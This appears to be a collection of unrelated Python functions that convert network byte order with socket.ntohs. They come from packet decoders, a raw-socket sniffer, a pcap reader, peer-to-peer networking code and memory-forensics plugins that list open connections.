def __init__(self, buildstruct=None): self.fields = (("OF_IN_PORT","H"), ("OF_DL_SRC","B" * 6), ("OF_DL_DST","B" * 6), ("OF_VLAN_ID", "H"), ("OF_VLAN_PCP", "B"), ("OF_DL_TYPE", "H"), ("OF_NW_TOS", "B"), ("OF_NW_PROTO", "B"), ("OF_NW_SRC", "I"), ("OF_NW_DST", "I"), ("OF_TP_SRC", "H"), ("OF_TP_DST", "H"), ("OF_PADDING", "BBB"), ) self.packed = struct.Struct("!" + "".join(x[1] for x in self.fields)) if buildstruct is not None: self.unpacked = [x for x in self.packed.unpack(buildstruct)] self.OF_IN_PORT = ntohs(self.unpacked[0]) self.OF_DL_SRC = tuple(hex(i) for i in self.unpacked[1:7])[::-1] self.OF_DL_DST = tuple(hex(i) for i in self.unpacked[7:13])[::-1] self.OF_VLAN_ID = hex(ntohs(self.unpacked[13])) self.OF_VLAN_PCP = hex(self.unpacked[14]) self.OF_DL_TYPE = hex(ntohs(self.unpacked[15])) self.OF_NW_TOS = hex(self.unpacked[16]) self.OF_NW_PROTO = hex(self.unpacked[17]) self.OF_NW_SRC = inet_ntoa(struct.pack("I", self.unpacked[18])) self.OF_NW_DST = inet_ntoa(struct.pack("I", self.unpacked[19])) self.OF_TP_SRC = ntohs(self.unpacked[20]) self.OF_TP_DST = ntohs(self.unpacked[21]) self.OF_PADDING = ""
def retrieve_the_list_of_peers(self, splitter_socket, team_socket): # {{{ # The list of peers should be retrieved from the splitter in a # different thread because in this way, if the retrieving # takes a long time, the peer can receive the chunks that # other peers are sending to it. sys.stdout.write(Color.green) print splitter_socket.getsockname(), "\b: requesting the list of peers to", splitter_socket.getpeername() number_of_peers = socket.ntohs(struct.unpack("H",splitter_socket.recv(struct.calcsize("H")))[0]) print splitter_socket.getpeername(), "\b: the size of the list of peers is", number_of_peers while number_of_peers > 0: message = splitter_socket.recv(struct.calcsize("4sH")) IP_addr, port = struct.unpack("4sH", message) IP_addr = socket.inet_ntoa(IP_addr) port = socket.ntohs(port) peer = (IP_addr, port) print "[%5d]" % number_of_peers, peer self.peer_list.append(peer) self.losses[peer] = 0 #print Color.green, cluster_socket.getsockname(), \ # "-", '"hello"', "->", peer, Color.none # Say hello to the peer team_socket.sendto('', peer) # Send a empty chunk (this should be fast). number_of_peers -= 1 print 'done' sys.stdout.write(Color.none)
def DecodeMsgHead_Gate(buf): headsize = calcsize('0H H H') if len(buf) < headsize: return 0,0,0 head = unpack("0H H H", buf[:headsize]) head = [socket.ntohs(head[1]), socket.ntohs(head[0]) - 4, ] return head + [headsize,]
def parse_message(message): returnVal = {} # header if len(message) < 14: raise ValueError(('message to short, {0} bytes: not space for header'.format(len(message)))) header_string = message[:14] header = map(ord, header_string) returnVal['version'] = (header[0]>>6)&0x03 if returnVal['version'] != d.VERSION: raise e.messageFormatError('invalid version {0}'.format(returnVal['version'])) returnVal['msg_type'] = header[0]&0x3f if returnVal['msg_type'] not in d.TYPE_ALL: raise e.messageFormatError('invalid message type {0}'.format(returnVal['type'])) returnVal['method'] = header[1] returnVal['message_id'] = socket.ntohs(u.buf2int(header[2:4])) returnVal['len'] = socket.ntohs(u.buf2int(header[4:6])) returnVal['device_id'] = message[6:14] if len(message) > 14: returnVal['parameters'] = message[14:14 + returnVal['len']] else: returnVal['parameters'] = [] logging.debug('parsed message: {0}'.format(returnVal)) return returnVal
def __init__(self, packet): # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(packet) # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() self.replyType = ricmp.get_icmp_type() self.srcIp = rip.get_ip_src() self.dstIp = rip.get_ip_dst() self.valid = True self.recv_ttl = rip.get_ip_ttl() if ricmp.ICMP_ECHOREPLY == self.replyType: data = ricmp.get_data_as_string() self.endnodeId = socket.ntohs(struct.unpack('H',data[4:6])[0]) self.hopNr = socket.ntohs(struct.unpack('H',data[6:8])[0]) elif (ricmp.ICMP_UNREACH == self.replyType) or (ricmp.ICMP_TIMXCEED == self.replyType): data = ricmp.get_data_as_string() if len(data) < (36-8): self.valid = False return self.endnodeId = socket.ntohs(struct.unpack('H',data[(32-8):(34-8)])[0]) self.hopNr = socket.ntohs(struct.unpack('H',data[(34-8):(36-8)])[0]) else: self.valid = False
def run(self): # Request the list of peers. sys.stdout.write(Color.green) print splitter_socket.getsockname(), "\b: requesting the list of peers to", splitter_socket.getpeername() number_of_peers = socket.ntohs(struct.unpack("H",splitter_socket.recv(struct.calcsize("H")))[0]) print splitter_socket.getpeername(), "\b: the size of the list of peers is", number_of_peers while number_of_peers > 0: message = splitter_socket.recv(struct.calcsize("4sH")) IP_addr, port = struct.unpack("4sH", message) IP_addr = socket.inet_ntoa(IP_addr) port = socket.ntohs(port) peer = (IP_addr, port) print "[%5d]" % number_of_peers, peer peer_list.append(peer) unreliability[peer] = 0 #print Color.green, cluster_socket.getsockname(), \ # "-", '"hello"', "->", peer, Color.none # Say hello to the peer cluster_socket.sendto('', peer) # Send a empty chunk (this # should be fast). number_of_peers -= 1 print 'done' sys.stdout.write(Color.none)
def __init__(self): # # init RAW ethernet socket for ARP self.sk_arp = socket(AF_PACKET, SOCK_RAW, ntohs(0x0806)) self.sk_arp.settimeout(0.1) #self.sk_arp.setsockopt(SOL_PACKET, SO_RCVBUF, 0) self.sk_arp.bind((self.GGSN_ETH_IF, 0x0806)) #self.sk_arp.setsockopt(SOL_PACKET, SO_RCVBUF, 2**24) # # init RAW ethernet socket for IPv4 self.sk_ip = socket(AF_PACKET, SOCK_RAW, ntohs(0x0800)) self.sk_ip.settimeout(0.1) #self.sk_ip.setsockopt(SOL_PACKET, SO_RCVBUF, 0) self.sk_ip.bind((self.GGSN_ETH_IF, 0x0800)) #self.sk_ip.setsockopt(SOL_PACKET, SO_RCVBUF, 2**24) # # ARP resolution table self.ARP_RESOLV_TABLE = { self.ROUTER_IP_ADDR : self.ROUTER_MAC_ADDR, self.GGSN_IP_ADDR : self.GGSN_MAC_ADDR, } for ip in self.IP_POOL: self.ARP_RESOLV_TABLE[ip] = self.GGSN_MAC_ADDR # # interrupt handler #def sigint_handler(signum, frame): # if self.DEBUG > 1: # self._log('CTRL+C caught') # self.stop() #signal.signal(signal.SIGINT, sigint_handler) # # starting main listening loop in background self._listening = True self._listener_t = threadit(self.listen) self._log('ARP resolver started')
def recvthread(self): while 1: try: self.hdr = self.recvbuffer[:4] if len(self.hdr) < 4: self.recvbuffer += self.sock.recv(1024) continue elif not(len(self.recvbuffer)-2 >= socket.ntohs(unpack("H",''.join(self.hdr[:2]))[0])): self.recvbuffer += self.sock.recv(1024) #print self.recvbuffer if len(self.recvbuffer) < 4: continue # #print "Wating len %i/%i" %(len(self.recvbuffer)-2,socket.ntohs(unpack("H",''.join(self.hdr[:2]))[0])) if len(self.recvbuffer)-2 >= socket.ntohs(unpack("H",''.join(self.hdr[:2]))[0]): length= socket.ntohs(unpack("H",''.join(self.hdr[:2]))[0]) pdata = self.recvbuffer[4:4+length-2] #print length,len(pdata) self.onpacket(unpack("H",''.join(self.hdr[2:4]))[0],pdata) self.recvbuffer = ''.join(self.recvbuffer[4+length-2:]) except: print traceback.format_exc()
def pkt_dump(address, cnt, object): src = object.addr_space.read(address + 12, 4) dst = object.addr_space.read(address + 16, 4) (src,) = struct.unpack("=I", src) (dst,) = struct.unpack("=I", dst) src = socket.inet_ntoa(struct.pack("I", src)) dst = socket.inet_ntoa(struct.pack("I", dst)) string = object.addr_space.read(address + 9, 1) (byte,) = struct.unpack("c", string) if byte == "\x06": proto = "TCP" elif byte == "\x11": proto = "UDP" else: proto = "UNK" source_port = object.addr_space.read(address + 20, 2) (src_pt,) = struct.unpack("=H", source_port) sport = ntohs(src_pt) destination_port = object.addr_space.read(address + 22, 2) (dst_pt,) = struct.unpack("=H", destination_port) dport = ntohs(dst_pt) source = "%s:%d" % (src, sport) destination = "%s:%d" % (dst, dport) print "0x%0.8x %-25s %-25s %-4s" % (address, source, destination, proto)
def __parse_ip_tcp(pkt,s): d = {} d['order'] = ['src_port','dst_port','seq_number','ack_number','header_len','flags','window_size','checksum','options','data'] d['src_port'] = socket.ntohs(struct.unpack('H',s[0:2])[0]) d['dst_port'] = socket.ntohs(struct.unpack('H',s[2:4])[0]) d['seq_number'] = (struct.unpack('!I',s[4:8])[0]) d['ack_number'] = (struct.unpack('!I',s[8:12])[0]) d['header_len'] = ((ord(s[12]) & 0xf0)>>4) * 4; pkt.data_len -= d['header_len'] flags = decode_flag(ord(s[13])) d['flags']= '0x%.2X [%s]' % ( ord(s[13]), ','.join(flags) ) d['window_size'] = socket.ntohs(struct.unpack('H',s[14:16])[0]) * 128 d['checksum'] = '0x%.4X' % socket.ntohs(struct.unpack('H',s[16:18])[0]) d['options']=decode_option_tcp(s[20:d['header_len']]) d['data']=('%d bytes %s' % (len(s[d['header_len']:]), PROMPT), s[d['header_len']:]) d['info'] = '%s > %s [%s] Seq = %d Len = %d' %(d['src_port'],d['dst_port'],','.join(flags),d['seq_number'],len(d['data'][1])) ip = pkt.dict['ip'] key = __keygen(ip['src_address'],d['src_port'],ip['dst_address'],d['dst_port']) pkt.dict.update({'TCP':d}) if d['data'][1].startswith('HTTP'): if stream_pool.has_key(key): print "Duplicate stream_pool_key %s" % key r = Reassemble(pkt,d) if not r.isFinish(): stream_pool[key] = r elif d['data'][1].startswith('GET'): if stream_pool.has_key(key): print "Duplicate stream_pool_key %s" % key r = Reassemble(pkt,d) if not r.isFinish(): stream_pool[key] = r else: if stream_pool.has_key(key): stream_pool[key].addpkt(pkt,d) if stream_pool[key].isFinish(): stream_pool.pop(key) # if 'SYN' in flags and not 'ACK' in flags: # if stream_pool.has_key(key): # print "Duplicate stream_pool_key %s" % key # print stream_pool # return {'order':[]} # stream_pool[key] = PoolEntry(pkt,d,key,flags) ## elif 'SYN' in flags and 'ACK' in flags: ## if not stream_pool.has_key(key): ## print "Lack of stream_pool_key %s" % key ## print stream_pool ## stream_pool[key] = PoolEntry(pkt,d,key) ## return {'order':[]} ## stream_pool[key].addpkt(pkt,d['seq_number'],d['ack_number'],d['data'],d['header_len']) ## stream_pool[key].synack(pkt,d) # else: # if not stream_pool.has_key(key): # print "Lack of stream_pool_key %s" % key # print stream_pool # stream_pool[key] = PoolEntry(pkt,d,key,flags) # #return {'order':[]} # else: # stream_pool[key].addpkt(pkt,d,flags) # stream_pool[key].dump() return d
def execute(self): op = self.op opts = self.opts (profile, addr_space, symtab, types) = linux_load_and_identify_image( \ self.op, self.opts) theProfile = Profile(abstract_types=profile) task_list = process_list(addr_space,theProfile.abstract_types, symtab,theProfile) for task in task_list: comm = read_null_string(addr_space, theProfile.abstract_types,\ ['task_struct', 'comm'], task.offset) process_id = task.pid processor = task_cpu(task.thread_info.cpu) print "PID: %-5ld TASK: 0x%x CPU: %-2s COMMAND: \"%s\""%(task.pid,task.offset,processor,comm) print "%-4s %-10s %-10s %-22s %-7s %-21s %-21s"%('FD','SOCKET','SOCK','FAMILY:TYPE','PROTO', 'SOURCE-PORT', 'DESTINATION-PORT') fds = task_fds(task,addr_space, theProfile.abstract_types, symtab, theProfile) num_sockets = 0 for fd, filep, dentry, inode in fds: socketaddr = self.inode2socketaddr(inode,theProfile) if (not socketaddr): continue num_sockets += 1 socket = Object('socket', socketaddr, addr_space, \ None, theProfile) sock_addr = socket.m('sk').v() sock = socket.sk skc_prot = sock.get_deep_member(['__sk_common', 'skc_prot']).v() skc_family = sock.get_deep_member(['__sk_common', 'skc_family']).v() proto_name = "" proto_name = read_null_string(addr_space, theProfile.abstract_types,['proto', 'name'], skc_prot) sktype = sock.sk_type src_and_dst = "" src_string = "" dst_string ="" if (PFAMILIES[skc_family] == "PF_INET" or PFAMILIES[skc_family] == "PF_INET6"): sock = Object('inet_sock', sock_addr, addr_space, None, theProfile) src_val = sock.m('rcv_saddr').v() sport = ntohs(sock.m('sport').v()) dst_val = sock.m('daddr').v() dport = ntohs(sock.m('dport').v()) src_string = self.formatIPv4(src_val,sport) dst_string = self.formatIPv4(dst_val,dport) family_type = "%s:%s"%(PFAMILIES[skc_family],sockTypes[sktype]) print "%-4d 0x%0.8x 0x%0.8x %-22s %-7s %-21s %-21s" % \ (fd, socketaddr, sock_addr,family_type, proto_name,\ src_string, dst_string) if not num_sockets: print "No open sockets" print
def data_to_qos_filter(self, data): qos_filter = {} ( flags, offshift, nkeys, offmask, off, offoff, hoff, hmask ) = struct.unpack('BBBHHhhI', data[:16]) # offmask and hmask are network/big endian offmask = socket.ntohs(offmask) hmask = socket.ntohs(hmask) for i in range(nkeys): p = 16 + i * 16 # Mask and val are network/big endian (mask, val) = struct.unpack('!II', data[p:p+8]) (off, offmask) = struct.unpack('ii', data[p+8:p+16]) if off == 8 and mask == 0x00FF0000: qos_filter['protocol'] = val elif off == 20: if mask == 0xFFFF0000: qos_filter['src_port'] = val >> 16 elif mask == 0x0000FFFF: qos_filter['dst_port'] = val elif off == 12: address = socket.inet_ntoa(data[p+4:p+8]) prefix = MASK2PREFIXLEN_MAP[mask] qos_filter['src_addr'] = '%s/%s' % (address, prefix) elif off == 16: address = socket.inet_ntoa(data[p+4:p+8]) prefix = MASK2PREFIXLEN_MAP[mask] qos_filter['dst_addr'] = '%s/%s' % (address, prefix) return qos_filter
def __init__(self, pp_pkt): self.src_ip = socket.ntohl(unpack("I", pp_pkt[0:4])[0]) self.dst_ip = socket.ntohl(unpack("I", pp_pkt[4:8])[0]) self.src_port = socket.ntohs(unpack("H", pp_pkt[8:10])[0]) self.dst_port = socket.ntohs(unpack("H", pp_pkt[10:12])[0]) self.vni_and_proto = socket.ntohl(unpack("I", pp_pkt[12:16])[0]) self.sw_hop_latencies = [] ip_proto = self.vni_and_proto & 0x000000ff if (ip_proto == 6 or ip_proto == 17): self.flow_id = "%d:%d:%d:%d:%d" % ( self.vni_and_proto, self.src_ip, self.dst_ip, self.src_port, self.dst_port) else: self.flow_id = "%d:%d:%d" % ( self.vni_and_proto, self.src_ip, self.dst_ip) idx = 20 (ins_cnt, max_cnt, tot_cnt) = unpack("B B B", pp_pkt[17:20]) for i in range(tot_cnt): switch_id = socket.ntohl(unpack("I", pp_pkt[idx:idx+4])[0]) hop_lat = socket.ntohl(unpack("I", pp_pkt[idx+4:idx+8])[0]) q_occ = socket.ntohl(unpack("I", pp_pkt[idx+8:idx+12])[0]) if i == tot_cnt - 1: q_occ = q_occ & 0x7FFF self.sw_hop_latencies.append([switch_id, hop_lat]) idx = idx + 12
def decode(self, pktdata): if len(pktdata) < 10: raise layer.ProtocolMismatch("Not enough data") self.hardware_type = socket.ntohs(struct.unpack('H', pktdata[0:2])[0]) self.protocol_type = socket.ntohs(struct.unpack('H', pktdata[2:4])[0]) self.hardware_len = (ord(pktdata[4])) self.protocol_len = (ord(pktdata[5])) # 1: request - 2: reply self.operation = socket.ntohs(struct.unpack('H', pktdata[6:8])[0]) lh = self.hardware_len lp = self.protocol_len self.mac_src = 0 self.ip_src = 0 self.mac_dst = 0 self.ip_dst = 0 if lp == 4: self.mac_src = pktdata[8:8+lh] self.ip_src = struct.unpack('I', pktdata[8+lh:8+lh+lp])[0] self.mac_dst = pktdata[8+lh+lp:8+lh+lp+lh] self.ip_dst = struct.unpack('I', pktdata[8+lh+lp+lh:8+lh+lp+lh+lp])[0] elif lp == 16: self.mac_src = pktdata[8:8+lh] self.ip_src = struct.unpack('IIII', pktdata[8+lh:8+lh+lp])[0] self.mac_dst = pktdata[8+lh+lp:8+lh+lp+lh] self.ip_dst = struct.unpack('IIII', pktdata[8+lh+lp+lh:8+lh+lp+lh+lp])[0]
def __decode_ip(s): d={} d['order'] = ['version','header_len','dsfield','total_len','id','flags','fragment_offset','time_to_live','protocol','checksum','src_address','dst_address','options','data'] d['version'] = ((ord(s[0]) & 0xf0) >> 4) d['header_len'] = (ord(s[0]) & 0x0f) * 4; d['dsfield']= ord(s[1]) d['total_len']= socket.ntohs(struct.unpack('H',s[2:4])[0]) d['id']= '0x%.4X' % socket.ntohs(struct.unpack('H',s[4:6])[0]) d['flags']= '0x%.2X' % ((ord(s[6]) & 0xe0) >> 5) d['fragment_offset']= '%d' % socket.ntohs(struct.unpack('H',s[6:8])[0] & 0x1f) d['time_to_live']= '%d' % ord(s[8]) try: d['protocol']= ip_protocols[ord(s[9])] except: d['protocol']= 'Unknown' d['checksum']= '0x%.4X' % socket.ntohs(struct.unpack('H',s[10:12])[0]) d['src_address']=pcap.ntoa(struct.unpack('i',s[12:16])[0]) d['dst_address']=pcap.ntoa(struct.unpack('i',s[16:20])[0]) if d['header_len']>20: d['options']=s[20:d['header_len']] else: d['options']=None d['data']=('%d bytes %s' % (len(s[d['header_len']:]),PROMPT),s[d['header_len']:]) return d
def _ipv4_decode(self, packet_in): """Extract the IP header and populate a dictionary of values, returning a the dictionary and the remaining data to extract. :param str packet_in: The IP packet data :returns: tuple """ out = {'version': struct.unpack('b', packet_in[0])[0] >> 4, 'ihl': (struct.unpack('b', packet_in[0])[0] & 0x0F) * 4, 'total_length': ntohs(struct.unpack('H', packet_in[2:4])[0]), 'identification': ntohs(struct.unpack('H', packet_in[4:6])[0]), 'flags': (ord(packet_in[6]) & 0xe0) >> 5, 'fragment_offset': (ntohs(struct.unpack('H', packet_in[6:8])[0]) & 0x1f), 'ttl': ord(packet_in[8]), 'protocol': ord(packet_in[9]), 'checksum': ntohs(struct.unpack('H', packet_in[10:12])[0]), 'source': pcap.ntoa(struct.unpack('i', packet_in[12:16])[0]), 'destination': pcap.ntoa(struct.unpack('i', packet_in[16:20])[0])} # If our header size is more than 5 bytes, we have options if out['ihl'] > _IPV4_BASE_HEADER_SIZE: out['options'] = packet_in[_IPV4_BASE_HEADER_SIZE:out['ihl']] else: out['options'] = None # Return the decoded packet return out, packet_in[out['ihl']:]
def unpack_sockaddr(c_sockaddr): """ :type c_sockaddr: ffi.CData[struct sockaddr*] """ if c_sockaddr.sa_family == socket.AF_INET: c_sockaddr_in4 = ffi.cast('struct sockaddr_in*', c_sockaddr) c_host = ffi.new('char[16]') port = socket.ntohs(c_sockaddr_in4.sin_port) lib.uv_ip4_name(c_sockaddr_in4, c_host, 16) return Address4(ffi.string(c_host).decode(), port) elif c_sockaddr.sa_family == socket.AF_INET6: c_sockaddr_in6 = ffi.cast('struct sockaddr_in6*', c_sockaddr) c_additional = lib.cross_get_ipv6_additional(c_sockaddr_in6) c_host = ffi.new('char[40]') flowinfo = c_additional.flowinfo scope_id = c_additional.scope_id port = socket.ntohs(c_sockaddr_in6.sin6_port) lib.uv_ip6_name(c_sockaddr_in6, c_host, 40) return Address6(ffi.string(c_host).decode(), port, flowinfo, scope_id)
def handle(self): self.logger.debug('handle') try: msg_header = self.request.recv(4) amount_received = len(msg_header) unpacked_header = unpack('HH', msg_header) amount_expected = socket.ntohs(unpacked_header[0]) self.req_type = socket.ntohs(unpacked_header[1]) self.msg_body = '' while amount_received < amount_expected: self.msg_body += self.request.recv(16384) amount_received = len(msg_header) + len(self.msg_body) except: print 'Unexpected error:', sys.exc_info()[0] self.response = self.error() self.request.send(self.response) return RPC_handler = self.RPCs[self.req_type] RPC_handler() if self.response is not None: self.request.send(self.response) self.request.close()
def calculate(self): vspace = utils.load_as(self._config) pspace = utils.load_as(self._config, astype = 'physical') for offset in PoolScanTcpListener().scan(pspace): tcpentry = obj.Object('_TCP_LISTENER', offset, pspace) lport = socket.ntohs(tcpentry.Port) # For TcpL, the state is always listening and the remote port is zero state = "LISTENING" rport = 0 for ver, laddr, raddr, owner in self.enumerate_listeners(tcpentry, vspace): yield tcpentry.obj_offset, "TCP" + ver, laddr, lport, \ raddr, rport, state, owner, tcpentry.CreateTime for offset in PoolScanTcpEndpoint().scan(pspace): tcpentry = obj.Object('_TCP_ENDPOINT', offset, pspace) AddrInfo = obj.Object('_ADDRINFO', tcpentry.AddrInfo, vspace) InetAF = obj.Object('_INETAF', tcpentry.InetAF, vspace) Owner = obj.Object('_EPROCESS', tcpentry.Owner, vspace) lport = socket.ntohs(tcpentry.LocalPort) rport = socket.ntohs(tcpentry.RemotePort) try: state = tcp_states[tcpentry.State + 1] except IndexError: state = hex(tcpentry.State) l_inaddr = AddrInfo.Local.pData.dereference().dereference().v() r_inaddr = AddrInfo.Remote.dereference().v() if InetAF.AddressFamily == AF_INET: proto = "TCPv4" laddr = inet_ntop(socket.AF_INET, vspace.zread(l_inaddr, 4)) raddr = inet_ntop(socket.AF_INET, vspace.zread(r_inaddr, 4)) elif InetAF.AddressFamily == AF_INET6: proto = "TCPv6" laddr = inet_ntop(socket.AF_INET6, vspace.zread(l_inaddr, 16)) raddr = inet_ntop(socket.AF_INET6, vspace.zread(r_inaddr, 16)) else: continue yield tcpentry.obj_offset, proto, laddr, lport, raddr, \ rport, state, Owner, tcpentry.CreateTime for offset in PoolScanUdpEndpoint().scan(pspace): udpentry = obj.Object('_UDP_ENDPOINT', offset, pspace) lport = socket.ntohs(udpentry.Port) # For UdpA, the state is always blank and the remote end is asterisks state = "" raddr = rport = "*" for ver, laddr, _, owner in self.enumerate_listeners(udpentry, vspace): yield udpentry.obj_offset, "UDP" + ver, laddr, lport, \ raddr, rport, state, owner, udpentry.CreateTime
def getPartyStarted(self): allConnectionsSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) if self.getNic() != 'all': allConnectionsSocket.setsockopt(socket.SOL_SOCKET, 25, self.getNic().encode()) print(self.startDateTime.strftime('Started Listening at - %H:%M:%S:%f | %b %d %Y')) # receive a packet while True: binPacket, sendersInfo = allConnectionsSocket.recvfrom(self.BUFFER_SIZE) # networkAdapter = sendersAddressInfo[0] ethernetHeader = binPacket[:self.ETHERNET_HEADER_LENGTH] unpackedEthernetHeader = unpack(self.ETHERNET_UNPACK_HEADER , ethernetHeader) transportProtocol = socket.ntohs(unpackedEthernetHeader[2]) # only ip stuff is supported for now if(transportProtocol == 8): ipObj = IpPacket(binPacket, self.ETHERNET_HEADER_LENGTH) if self.getVerbose() == True: print(ipObj.getMsg()) if (self.getProtocol() == 'all' or self.protocolIndex == ipObj.protocol): ipChildPacketBinMargin = ipObj.iphLength + self.ETHERNET_HEADER_LENGTH packetObj = IpFactory.factory(ipObj.protocol, binPacket, ipChildPacketBinMargin) if self.getVerbose() == True: print(packetObj.getMsg()) if self.getLogger() != None: packetObj.writeToLog(self.getLogger(), self.getLogFormat()) self.sessionData.addPacket(ipObj, packetObj) packetObj.toAddress = ipObj.toAddress packetObj.fromAddress = ipObj.fromAddress packetObj.protocol = ipObj.protocol self.statAdapter.recordPacket(packetObj)
def __init__(self, pktdata): layer.Layer.__init__(self, protocol="UDP") self.sport = socket.ntohs(struct.unpack('H', pktdata[0:2])[0]) self.dport = socket.ntohs(struct.unpack('H', pktdata[2:4])[0]) self.len = socket.ntohs(struct.unpack('H', pktdata[4:6])[0]) self.payload = layer.Layer(pktdata[8:]) self.type = -1 # IP protocol decode try: if self.dport in services.dUDPType.keys(): call = services.dUDPType[self.dport]["callback"] self.type = self.dport else: call = services.dUDPType[self.sport]["callback"] self.type = self.sport except: call = None if call is not None: self.payload = call(pktdata[8:]) else: self.payload = layer.Layer(pktdata[8:])
def _process(self, packet): p = packet['data'] hlen = ord(p[4]) plen = ord(p[5]) d = {} d['htype'] = socket.ntohs(struct.unpack('H',p[0:2])[0]) d['ptype'] = socket.ntohs(struct.unpack('H',p[2:4])[0]) d['op'] = socket.ntohs(struct.unpack('H',p[6:8])[0]) d['op'] = 'request' if d['op']==1 else 'reply' if d['op']==2 else 'unknown' i = 8 d['sha'] = p[i:i+hlen] i += hlen d['spa'] = p[i:i+plen] i += plen d['tha'] = p[i:i+hlen] i += hlen d['tpa'] = p[i:i+plen] if (hlen==6) and (plen==4): # we'll assume this is ARP for IPv4 d['sha'] = binascii.hexlify(d['sha']) d['tha'] = binascii.hexlify(d['tha']) d['spa'] = socket.inet_ntoa(d['spa']) d['tpa'] = socket.inet_ntoa(d['tpa']) return d
def extractData(self,rawData): self.type,self.leng = struct.unpack('hh',rawData[:4]) self.type = socket.ntohs(self.type) self.leng = socket.ntohs(self.leng) self.aboName = rawData[4:4+self.leng-1].strip() self.aboName=self.aboName.strip() self.data = rawData[4+self.leng:].strip() self.data=self.data.strip()
def decode_udp_segment(s): """ Return the source and destination ports of a UDP segment. """ d = {} d['source_port'] = socket.ntohs(struct.unpack('H',s[0:2])[0]) d['destination_port'] = socket.ntohs(struct.unpack('H',s[2:4])[0]) return d
def decode_udp_packet(self, p): d={} d['src_port']=socket.ntohs(struct.unpack('H',p[0:2])[0]) d['dst_port']=socket.ntohs(struct.unpack('H',p[2:4])[0]) d['length']=socket.ntohs(struct.unpack('H',p[4:6])[0]) d['checksum']=socket.ntohs(struct.unpack('H',p[6:8])[0]) d['data']=p[8:] return d
def convert_integer(): data = 1234 #32-bit print "Original: %s => Long host byte order: %s, Network byte order: %s"\ %(data, socket.ntohl(data), socket.ntohl(data)) #16-bit print "Original: %s => Long host byte order: %s, Network byte order: %s"\ %(data, socket.ntohs(data), socket.ntohs(data))
def sizeof_ntpcm(m): '''NTP control message header is 12 bytes, plus any data in the data field, plus null padding to the nearest 32-bit boundary per rfc.''' if socket.ntohs(m[6]) % 4: tmp_len = 4 - (socket.ntohs(m[6]) % 4) else: tmp_len = 0 # struct.calcsize('2B5H') is header of 12 bytes return struct.calcsize('2B5H') + socket.ntohs(m[6]) + tmp_len
def decode_mdns_packet(self, p): d={} d['transaction_ID']=socket.ntohs(struct.unpack('H',p[0:2])[0]) d['flags']=struct.unpack('H',p[2:4])[0] d['n_questions']=socket.ntohs(struct.unpack('H',p[4:6])[0]) d['n_answerRRs']=socket.ntohs(struct.unpack('H',p[6:8])[0]) d['n_authRRs']=socket.ntohs(struct.unpack('H',p[8:10])[0]) d['n_addRRs']=socket.ntohs(struct.unpack('H',p[10:12])[0]) return d
def addr_tuple_from_sockaddr_u(su): if su.ss.ss_family == socket.AF_INET6: return (inet_ntop(socket.AF_INET6, su.s6.sin6_addr), socket.ntohs(su.s6.sin6_port), socket.ntohl(su.s6.sin6_flowinfo), socket.ntohl(su.s6.sin6_scope_id)) assert su.ss.ss_family == socket.AF_INET return inet_ntop(socket.AF_INET, su.s4.sin_addr), \ socket.ntohs(su.s4.sin_port)
def payload(self, payload): header = self.headers[0] if self._payload: #recalculate length (current length - (current_payload_length - new_payload_length))) header.Length = socket.ntohs(socket.htons(header.Length) - (len(self._payload) - len(payload))) else: #payload was empty: current_length + new_payload_length header.Length = socket.ntohs(socket.htons(header.Length) + len(payload)) self._payload = payload
def read_pcap(pcap_file): mac_addresses = [] counter = 0 ipcounter = 0 tcpcounter = 0 udpcounter = 0 devcounter = 0 PCAPLIST = [] dir_path = os.path.dirname(os.path.realpath(__file__)) os.chdir(dir_path + "/../") pcap_size = os.path.getsize(pcap_file) >> 20 logging.info('Reading from PCAP file: %s with size %sMB', pcap_file, pcap_size) if pcap_size > 10: logging.warning( 'PCAP file is greater than 10MB (%sMB), taking some time', pcap_size) for ts, pkt in dpkt.pcap.Reader(open(pcap_file, 'rb')): counter += 1 s_addr = [] d_addr = [] eth = dpkt.ethernet.Ethernet(pkt) src_mac = str(mac_addr(eth.src)) dst_mac = str(mac_addr(eth.dst)) if eth.type == dpkt.ethernet.ETH_TYPE_IP: ip = eth.data ipcounter += 1 if ip.p == dpkt.ip.IP_PROTO_TCP: tcpcounter += 1 if ip.p == dpkt.ip.IP_PROTO_UDP: udpcounter += 1 eth_length = 14 eth_header = pkt[:eth_length] eth = unpack('!6s6sH', eth_header) eth_protocol = socket.ntohs(eth[2]) # Parse IP packets, IP Protocol number = 8 if eth_protocol == 8: # Parse IP header # take first 20 characters for the ip header ip_header = pkt[eth_length:20 + eth_length] # now unpack them :) iph = unpack('!BBHHHBBH4s4s', ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF iph_length = ihl * 4 ttl = iph[5] protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) if str(src_mac) not in mac_addresses: mac_addresses.append(str(src_mac)) if s_addr: logging.debug('MAC found: %s IP: %s', str(src_mac), str(s_addr)) PCAPLIST.append(dict(mac=str(src_mac), ip=str(s_addr))) else: PCAPLIST.append(dict(mac=str(src_mac), ip=0)) logging.debug('Only MAC found: %s', str(src_mac)) devcounter = devcounter + 1 if str(dst_mac) not in mac_addresses: mac_addresses.append(str(dst_mac)) if d_addr: logging.debug('MAC found: %s IP: %s', str(dst_mac), str(d_addr)) PCAPLIST.append(dict(mac=str(dst_mac), ip=str(d_addr))) else: PCAPLIST.append(dict(mac=str(dst_mac), ip=0)) logging.debug('Only MAC found: %s', str(dst_mac)) devcounter = devcounter + 1 logging.info('Total number of devices found in pcap file: %s', devcounter) logging.info('Total number of packets in the pcap file: %s', counter) logging.info('Total number of ip packets: %s', ipcounter) logging.info('Total number of tcp packets: %s', tcpcounter) logging.info('Total number of udp packets: %s', udpcounter) return PCAPLIST
def reverse(self, val): if self.size == 16: val = socket.ntohs(val) elif self.size == 32: val = socket.ntohl(val) return val
